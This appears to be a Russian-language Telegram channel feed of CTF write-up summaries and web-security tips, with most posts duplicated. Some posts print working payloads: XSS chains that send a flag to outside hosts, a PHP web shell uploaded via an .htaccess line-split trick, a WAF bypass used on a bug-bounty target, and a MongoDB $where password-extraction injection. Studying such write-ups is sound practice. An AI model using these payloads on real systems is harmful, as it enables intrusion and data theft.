Прошедший VolgaCTF порадовал своими интересными задачами.
Для тех кто хочет наловчиться анализировать GraphQL API, могу порекомендовать свой врайтап: https://github.com/empty-jack/ctf-writeups/blob/master/VolgaCTF-2020/web-library.md (Цепочка: GQL Introspection -> SQLi)
Для тех кому интересны необычные техники эксплуатации DOM-XSS при помощи DomClobbering или DOM Variables Hijacking см. врайтап от Blackfan: https://blog.blackfan.ru/2020/03/volgactf-2020-qualifier-writeup.html?m=1 (Цепочка: PTRAV -> DomClobbering -> DOM-XSS)
Для тех кто хочет наловчиться анализировать GraphQL API, могу порекомендовать свой врайтап: https://github.com/empty-jack/ctf-writeups/blob/master/VolgaCTF-2020/web-library.md (Цепочка: GQL Introspection -> SQLi)
Для тех кому интересны необычные техники эксплуатации DOM-XSS при помощи DomClobbering или DOM Variables Hijacking см. врайтап от Blackfan: https://blog.blackfan.ru/2020/03/volgactf-2020-qualifier-writeup.html?m=1 (Цепочка: PTRAV -> DomClobbering -> DOM-XSS)
GitHub
ctf-writeups/VolgaCTF-2020/web-library.md at master · empty-jack/ctf-writeups
Contribute to empty-jack/ctf-writeups development by creating an account on GitHub.
Друг подсказал отличную фичу в Firefox.
Firefox containers!
Вы можете изолировать окружение отдельных вкладок. Т.е. раньше, чтобы выйти в отдельный сеанс браузера надо было включить анонимный режим и там уже можно было работать без своих Куков, Сессий и т.д.
Теперь можно просто разграничивать окружение при помощи этого инструмента. Это очень удобно для тестирования перекрестных атак на пользователей, когда нужно одновременно иметь две и более актуальных сессий для тестирования.
https://addons.mozilla.org/ru/firefox/addon/multi-account-containers/
Firefox containers!
Вы можете изолировать окружение отдельных вкладок. Т.е. раньше, чтобы выйти в отдельный сеанс браузера надо было включить анонимный режим и там уже можно было работать без своих Куков, Сессий и т.д.
Теперь можно просто разграничивать окружение при помощи этого инструмента. Это очень удобно для тестирования перекрестных атак на пользователей, когда нужно одновременно иметь две и более актуальных сессий для тестирования.
https://addons.mozilla.org/ru/firefox/addon/multi-account-containers/
#FYI
В Телеграм есть бот: @ctftimebot
Можно подписываться на CTF события, смотреть информацию по мероприятиям, командам, игрокам и пр.
Очень рекомендую для тех, кто заинтересован в CTF турнирах.
Спасибо толковому парню за то, что поделился)
В Телеграм есть бот: @ctftimebot
Можно подписываться на CTF события, смотреть информацию по мероприятиям, командам, игрокам и пр.
Очень рекомендую для тех, кто заинтересован в CTF турнирах.
Спасибо толковому парню за то, что поделился)
Очередные чудеса Client-Side с прошедшего CTF.
Что если есть Reflected XSS в таком вот ответе (См. INJECTION):
И есть решение:
Если чутка приглядеться, то поймешь, что вообще ни черта не понимаешь.
Объяснение и цепочка решения здесь:
https://github.com/empty-jack/ctf-writeups/blob/master/MidnightSunCTF-2020/crossintheroof-web.md
Что если есть Reflected XSS в таком вот ответе (См. INJECTION):
HTTP/1.1 200 OK
Server: nginx/1.17.9
Date: Sun, 05 Apr 2020 11:21:23 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/5.6.40
X-XSS-Protection: 0
X-Frame-Options: deny
X-Content-Type-Options: nosniff
Content-Length: 291
<noscript>
setTimeout(function(){
try{
return location = '/?i_said_no_xss_4_u_:)';
nodice=INJECTION;
}catch(err){
return location = '/?error='+INJECTION;
}
},500);
</noscript>
<noscript>
/*
payload: INJECTION
*/
</noscript>
<body onload='location="/?no_xss_4_u_:)"'>hi. bye.</body>
И есть решение:
/?xss=alert(1);let location=1;<!--<noscript
Если чутка приглядеться, то поймешь, что вообще ни черта не понимаешь.
Объяснение и цепочка решения здесь:
https://github.com/empty-jack/ctf-writeups/blob/master/MidnightSunCTF-2020/crossintheroof-web.md
GitHub
ctf-writeups/MidnightSunCTF-2020/crossintheroof-web.md at master · empty-jack/ctf-writeups
Contribute to empty-jack/ctf-writeups development by creating an account on GitHub.
Подчерпнул для себя немножно нового прочитав статейку про подводные камнии и ловушки в конфигурации NGINX:
https://www.nginx.com/resources/wiki/start/topics/tutorials/config_pitfalls/
Очень рекомендую изучать работу и конфигурацию веб-серверов, т.к. это наиболее часто встречающееся ПО в вебе. Это дает свои плоды в понимании того, что происходит с обработкой запросов в вебе и того на что можно посмотреть если багов в приложении вы не нашли.
https://www.nginx.com/resources/wiki/start/topics/tutorials/config_pitfalls/
Очень рекомендую изучать работу и конфигурацию веб-серверов, т.к. это наиболее часто встречающееся ПО в вебе. Это дает свои плоды в понимании того, что происходит с обработкой запросов в вебе и того на что можно посмотреть если багов в приложении вы не нашли.
Nginx
F5 NGINX Product Documentation
Learn how to deliver, manage, and protect your applications using F5 NGINX products.
На последнем CTF увидел интересный кейс с эксплуатацией Self-XSS для вытаскивания данных админа через поддержание нескольких iframe.
Расширяем границы воображения)
Write up:
https://github.com/empty-jack/ctf-writeups/blob/master/ByteBandits-2020/notes-app-web.md
Расширяем границы воображения)
Write up:
https://github.com/empty-jack/ctf-writeups/blob/master/ByteBandits-2020/notes-app-web.md
На бб нашелся забавный кейс.
Есть Stored XSS на приложении, но стоит WAF AWS ELB/2.0.
Встал вопрос: как байпасить?
Сначала попробовал вектора для хитрых пейлоадов, но все, что дальше одного слова, завернутого в кавычки, возвращет бан на реквест.
Тогда встал вопрос как байпасить не сигнатуры, а вообще парсинг.
И тут буквально с первой тычки прошел следующий трюк.
Данный WAF парсит заголовок Content-Type и в соответствии с ним парсит тело запроса.
Соответственно ломаем этот заголовок так, чтобы WAF его не съел, а nginx съел:
Решение:
Вместо пробела - табуляция!
Спасибо CTFам! 😄
Есть Stored XSS на приложении, но стоит WAF AWS ELB/2.0.
Встал вопрос: как байпасить?
Сначала попробовал вектора для хитрых пейлоадов, но все, что дальше одного слова, завернутого в кавычки, возвращет бан на реквест.
Тогда встал вопрос как байпасить не сигнатуры, а вообще парсинг.
И тут буквально с первой тычки прошел следующий трюк.
Данный WAF парсит заголовок Content-Type и в соответствии с ним парсит тело запроса.
Соответственно ломаем этот заголовок так, чтобы WAF его не съел, а nginx съел:
Решение:
Content-Type: application/x-www-form-urlencoded
Вместо пробела - табуляция!
Спасибо CTFам! 😄
Forwarded from Sergey Bobrov
Забавно, Firefox изменили обработку nosniff и один из трюков, которые многие использовали в прохождении таска User Center теперь не работает)
https://blog.mozilla.org/security/2020/04/07/firefox-75-will-respect-nosniff-for-page-loads/
Content-Type: */*
https://blog.mozilla.org/security/2020/04/07/firefox-75-will-respect-nosniff-for-page-loads/
Forwarded from Beched's thoughts
Щас будет усталый стрим крипты для студентов на твитче.
Достримить websec.fr так и не успел, сейчас посмотрю cryptopals и буду вспоминать азы!
Достримить websec.fr так и не успел, сейчас посмотрю cryptopals и буду вспоминать азы!
Twitch
beched - Twitch
beched streams live on Twitch! Check out their videos, sign up to chat, and join their community.
https://twitter.com/disclosedh1/status/1253436081908805639?s=20
Почему нужно чекать SSL на таргете? Потому что Heartbleed еще стреляет!)
Heartbleed — ошибка в криптографическом программном обеспечении OpenSSL, позволяющая несанкционированно читать память на сервере или на клиенте, в том числе для извлечения закрытого ключа сервера.
Как чекать? Да хотябы доступными сканерами:
https://www.ssllabs.com/ssltest/
Почему нужно чекать SSL на таргете? Потому что Heartbleed еще стреляет!)
Heartbleed — ошибка в криптографическом программном обеспечении OpenSSL, позволяющая несанкционированно читать память на сервере или на клиенте, в том числе для извлечения закрытого ключа сервера.
Как чекать? Да хотябы доступными сканерами:
https://www.ssllabs.com/ssltest/
Twitter
publiclyDisclosed
Uber disclosed a bug submitted by healdb: https://t.co/XOxqJEcZrV - Bounty: $1,500 #hackerone #bugbounty
Очередные фишечки из прошедшего CTF.
Чуть чуть успел поиграть в De1CTF и решить входной таск на вебчик. Но и в проходном задании нашлось кое что интересное.
Окружение:
Server: Apache/2.4.6 (CentOS) PHP/5.4.16
X-Powered-By: PHP/5.4.16
Примерное описание задачи:
* Есть загрузка файлов на серве
* Расширения PHP файлов запрещены (filename error)
* Можно загружать любые другие расширения если тип содержимого файла
* Файлы не могут содержать следующих слов
* При отправке файлов все они кладутся в директорию
Само собой сразу приходит на ум работа с
Но вот дальше начинались проблемы.
Нельзя было применить
RewriteRules тут не поможет.
Можно было вырулить на
И вот в чем все любопытство.
По официальной версии и по тому, что я с коллегой пытались исполнить, надо было использовать CGI. И на локальном стенде это работало. В случае с сервером из задачи, это просто возвращало статус 500 (Ошибка скрипта).
И так, официальная версия
.htaccess
---------------
Options +ExecCGI
AddHandler cgi-noscript .sh
---------------
check.sh
---------------
#!/bin/bash
echo "Content-Type: text/plain"
echo ""
ls -lah /
exit 0
---------------
Наша версия :D
.htaccess
---------------
AddHandler application/x-httpd-p\
hp .foo
p\
hp_value short_open_tag 1
---------------
check.foo
---------------
<? passthru($_GET["cmd"]);
---------------
Более детально во врайтапе:
https://github.com/empty-jack/ctf-writeups/blob/master/De1CTF/web-check-in.md
Чуть чуть успел поиграть в De1CTF и решить входной таск на вебчик. Но и в проходном задании нашлось кое что интересное.
Окружение:
Server: Apache/2.4.6 (CentOS) PHP/5.4.16
X-Powered-By: PHP/5.4.16
Примерное описание задачи:
* Есть загрузка файлов на серве
* Расширения PHP файлов запрещены (filename error)
* Можно загружать любые другие расширения если тип содержимого файла
image/png (если нет, то filetype error)* Файлы не могут содержать следующих слов
perl|pyth|ph|auto|curl|base|>|rm|ruby|openssl|war|lua|msf|xter|telnet* При отправке файлов все они кладутся в директорию
/uploads/[md5sum(От IP клиента)]/Само собой сразу приходит на ум работа с
.htaccess файлом.Но вот дальше начинались проблемы.
Нельзя было применить
AddType application/x-httpd-php .foo для смены расширения файлов, подверженных интерпритации mod_php, т.к. у нас не пропускается подстрока ph.RewriteRules тут не поможет.
Можно было вырулить на
SetHandler server-status и увидеть чужие решения, но нам с этим не повезло и пр.И вот в чем все любопытство.
По официальной версии и по тому, что я с коллегой пытались исполнить, надо было использовать CGI. И на локальном стенде это работало. В случае с сервером из задачи, это просто возвращало статус 500 (Ошибка скрипта).
И так, официальная версия
.htaccess
---------------
Options +ExecCGI
AddHandler cgi-noscript .sh
---------------
check.sh
---------------
#!/bin/bash
echo "Content-Type: text/plain"
echo ""
ls -lah /
exit 0
---------------
Наша версия :D
.htaccess
---------------
AddHandler application/x-httpd-p\
hp .foo
p\
hp_value short_open_tag 1
---------------
check.foo
---------------
<? passthru($_GET["cmd"]);
---------------
.htaccess поддерживает разбивку строк через экранирование переноса при помощи \Более детально во врайтапе:
https://github.com/empty-jack/ctf-writeups/blob/master/De1CTF/web-check-in.md
GitHub
ctf-writeups/De1CTF/web-check-in.md at master · empty-jack/ctf-writeups
Contribute to empty-jack/ctf-writeups development by creating an account on GitHub.
Не успел описать в прошлые выходные пару задач, которые решал на #IJCTF.
Опишу одну позабавившую банальным обходом условий задания.
И так...
Условие: Нужно выполнить XSS и утащить флаг со страницы
Link: http://34.87.177.44:31338/?view-source
Note: server is running on 80 port in local.
На странице с XSS нас ждал следующий код:
--------------------------------------
<?php
if(isset($_GET['view-source'])){
highlight_file(__FILE__);
exit();
}
header("Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval'");
$dom = $_GET['inject'];
if(preg_match("/meta|on|src|<noscript>|<\/noscript>/im",$dom))
exit("No Hack");
?>
<html>
<?=$dom ?>
<noscript>
window.TASKS = window.TASKS || {
proper: "Destination",
dest: "https://vuln.live"
}
<?php
if(isset($_GET['ok']))
echo "location.href = window.TASKS.dest;";
?>
</noscript>
<a href="check.php">Bug Report</a>
</html>
--------------------------------------
Т.е. мы можем через параметр inject произвести вставку HTML кода на страницу.
НО!
* Мы не можем выполнять скрипты из-за фильтрации подстрок.
* И не можем отправлять себе данные со страницы из-за CSP:
И вот сейчас при описании решения, я посмотрел в решение автора, и понял, что он ожидал от меня совсем другого.
А именно:
My Intended solution was
But, It's my bad. I filtered
Пэйлоад для тех, кто хочет разобраться в клобберинге:
Т.е. автор хотел, чтобы я сплойтил XSS через Dom Clobbering, но я невольно воспользовался ошибкой автора и обошел фильтр :D.
Соответственно, мой пейлоад обходил фильтрацию тега, брал флаг через XHR и отправлял его через редирект:
--------------------
<noscript bad="a">
var x = new XMLHttpRequest();
x.open("GET","/flag.php",false).send();
window.TASKS={dest:"http://empty.jack.su/?flag="+btoa(x["respo"+"nseText"])};//
--------------------
Результат для отправки на проверку в check.php:
Write up: https://github.com/empty-jack/ctf-writeups/blob/master/IJCTF-2020/web-broken-chrome.md
Опишу одну позабавившую банальным обходом условий задания.
И так...
Условие: Нужно выполнить XSS и утащить флаг со страницы
flag.php от имени админа.Link: http://34.87.177.44:31338/?view-source
Note: server is running on 80 port in local.
На странице с XSS нас ждал следующий код:
--------------------------------------
<?php
if(isset($_GET['view-source'])){
highlight_file(__FILE__);
exit();
}
header("Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval'");
$dom = $_GET['inject'];
if(preg_match("/meta|on|src|<noscript>|<\/noscript>/im",$dom))
exit("No Hack");
?>
<html>
<?=$dom ?>
<noscript>
window.TASKS = window.TASKS || {
proper: "Destination",
dest: "https://vuln.live"
}
<?php
if(isset($_GET['ok']))
echo "location.href = window.TASKS.dest;";
?>
</noscript>
<a href="check.php">Bug Report</a>
</html>
--------------------------------------
Т.е. мы можем через параметр inject произвести вставку HTML кода на страницу.
НО!
* Мы не можем выполнять скрипты из-за фильтрации подстрок.
meta, on, src, <noscript>, </noscript> в $_GET['inject']* И не можем отправлять себе данные со страницы из-за CSP:
default-src 'self' 'unsafe-inline' 'unsafe-eval', что в общем-то не такая уж и большая проблема.И вот сейчас при описании решения, я посмотрел в решение автора, и понял, что он ожидал от меня совсем другого.
А именно:
My Intended solution was
DOM clobbering.But, It's my bad. I filtered
<noscript>. I must ban <noscript.Пэйлоад для тех, кто хочет разобраться в клобберинге:
http://34.87.80.48:31338/check.php?report=http://localhost/?inject=%3Ca%20id=TASKS%3E%3Ca%20id=TASKS%20name=dest%20href=%22javanoscript:a=`var%20rawFile=new%20XMLHttpRequest();var%20flag;rawFile.open(%27GET%27,%20%27http://localhost/flag.php%27,%20false);rawFile.o`%2b`nreadystatechange=functio`%2b`n(){if(rawFile.readyState===4)flag=rawFile.respo`%2b`nseText;}\nrawFile.send(null);locatio`%2b`n.href=%27http://vuln.live:31338/?=%27%2bflag`;eval(a)%22%3E%26okТ.е. автор хотел, чтобы я сплойтил XSS через Dom Clobbering, но я невольно воспользовался ошибкой автора и обошел фильтр :D.
Соответственно, мой пейлоад обходил фильтрацию тега, брал флаг через XHR и отправлял его через редирект:
--------------------
<noscript bad="a">
var x = new XMLHttpRequest();
x.open("GET","/flag.php",false).send();
window.TASKS={dest:"http://empty.jack.su/?flag="+btoa(x["respo"+"nseText"])};//
--------------------
Результат для отправки на проверку в check.php:
http://localhost/?inject=<noscript%20bad="a">var%20x%20=%20new%20XMLHttpRequest();x.open("GET","/flag.php",false);x.send();window.TASKS%20=%20{%20dest:%20"http://empty.jack.su/?flag="%2bbtoa(x["respo"%2b"nseText"])};//&okWrite up: https://github.com/empty-jack/ctf-writeups/blob/master/IJCTF-2020/web-broken-chrome.md
На прошедших выходных поиграл в SharkyCTF (Видимо, сделал неправильный выбор). Удалось взять почти весь веб, кромо одного говнотаска, о котором даже говорить не хочется.
Поговорим о классике.
Понравилось простецкое задание с MongoDB на уязвимость инъекции функции в запрос к MongoDB.
Описание:
Есть магазин с пользователями. Можно посмотреть всех покупателей и производить поиск по имени покупателя. (Видно имя, стоимость покупок и роль)
Задание:
Получить логин пароль администратора среди пользователей.
Поиск производился через запрос к MongoDB. По ошибкам от запроса можно было восстановить логику запроса и воспользоваться ей. (Сам код нам виден не был)
Уязвимый участок кода:
---------------
app.post('/users', (req, res) => {
if (req.body['search[value]'] == '' || req.body['search[value]'] == undefined){
query = {};
} else {
query = { $where: `this.username.match(/^${req.body['search[value]']}/)`};
}
--------------
Здесь мы видим запрос к базе с
().
Решение:
Для решения нужно было добавить новое условие в функцию. Не исказив синтаксис выражения добавляем новое условие с поиском значения this.password.match по регулярному выражению. И постепенно ищем последовательность символов пароля при помощи регулярки.
Сложность задачи заключалась в том, что мы не знаем как выглядит выражение, к тому же выражение не самое популярное для Mongo. Приходилось проявить фантазию и ориентироваться на ошибки синтаксиса для понимания того, как функция может выглядеть.
Поговорим о классике.
Понравилось простецкое задание с MongoDB на уязвимость инъекции функции в запрос к MongoDB.
Описание:
Есть магазин с пользователями. Можно посмотреть всех покупателей и производить поиск по имени покупателя. (Видно имя, стоимость покупок и роль)
Задание:
Получить логин пароль администратора среди пользователей.
Поиск производился через запрос к MongoDB. По ошибкам от запроса можно было восстановить логику запроса и воспользоваться ей. (Сам код нам виден не был)
Уязвимый участок кода:
---------------
app.post('/users', (req, res) => {
if (req.body['search[value]'] == '' || req.body['search[value]'] == undefined){
query = {};
} else {
query = { $where: `this.username.match(/^${req.body['search[value]']}/)`};
}
--------------
Здесь мы видим запрос к базе с
$where, в значении которого JS функция: match().
Решение:
Для решения нужно было добавить новое условие в функцию. Не исказив синтаксис выражения добавляем новое условие с поиском значения this.password.match по регулярному выражению. И постепенно ищем последовательность символов пароля при помощи регулярки.
search[value]=admin/) && this.password.match(/^Pzk1TvGxYwq10J6$
Сложность задачи заключалась в том, что мы не знаем как выглядит выражение, к тому же выражение не самое популярное для Mongo. Приходилось проявить фантазию и ориентироваться на ошибки синтаксиса для понимания того, как функция может выглядеть.
Нашел интересный проект от OWASP:
https://github.com/OWASP/NodeGoat
Это уязвимое приложение на Node.js, на котором отражены OWASP Top 10 баги, в реализации на Node.js
Может быть полезно для получения опыта работы с этим набравшим популярность языком.
https://github.com/OWASP/NodeGoat
Это уязвимое приложение на Node.js, на котором отражены OWASP Top 10 баги, в реализации на Node.js
Может быть полезно для получения опыта работы с этим набравшим популярность языком.
GitHub
GitHub - OWASP/NodeGoat: The OWASP NodeGoat project provides an environment to learn how OWASP Top 10 security risks apply to web…
The OWASP NodeGoat project provides an environment to learn how OWASP Top 10 security risks apply to web applications developed using Node.js and how to effectively address them. - OWASP/NodeGoat
В ближайшую среду (27.05) в 15.00 по МСК проведу вебинарчик: https://hackeru.timepad.ru/event/1314441/
Рад буду пообщаться со всеми, услышать мнения на тему и просто поугарать)
Рад буду пообщаться со всеми, услышать мнения на тему и просто поугарать)
hackeru.timepad.ru
Вебинар от HackerU «Почему специалистом по информационной безопасности быть интереснее, чем разработчиком или сисадмином?» / События…
Мы расскажем о преимуществах работы в сфере кибербезопасности, и почему это интересно и выгодно. Вы узнаете, как не допустить ошибок при смене специальности и создать персональный бренд кибербезопасника.
Через 15 минут начинаем!
Topic: Почему специалистом по информационной безопасности быть интереснее, чем разработчиком или сисадмином?
Time: May 27, 2020 03:00 PM Moscow
Join Zoom Meeting
https://us02web.zoom.us/j/88968745589?pwd=bXMzVU5YSDdHdi8vb0RWcHJ6M2pvUT09
Meeting ID: 889 6874 5589
Password: 641462
Topic: Почему специалистом по информационной безопасности быть интереснее, чем разработчиком или сисадмином?
Time: May 27, 2020 03:00 PM Moscow
Join Zoom Meeting
https://us02web.zoom.us/j/88968745589?pwd=bXMzVU5YSDdHdi8vb0RWcHJ6M2pvUT09
Meeting ID: 889 6874 5589
Password: 641462
Zoom Video
Join our Cloud HD Video Meeting
Zoom is the leader in modern enterprise video communications, with an easy, reliable cloud platform for video and audio conferencing, chat, and webinars across mobile, desktop, and room systems. Zoom Rooms is the original software-based conference room solution…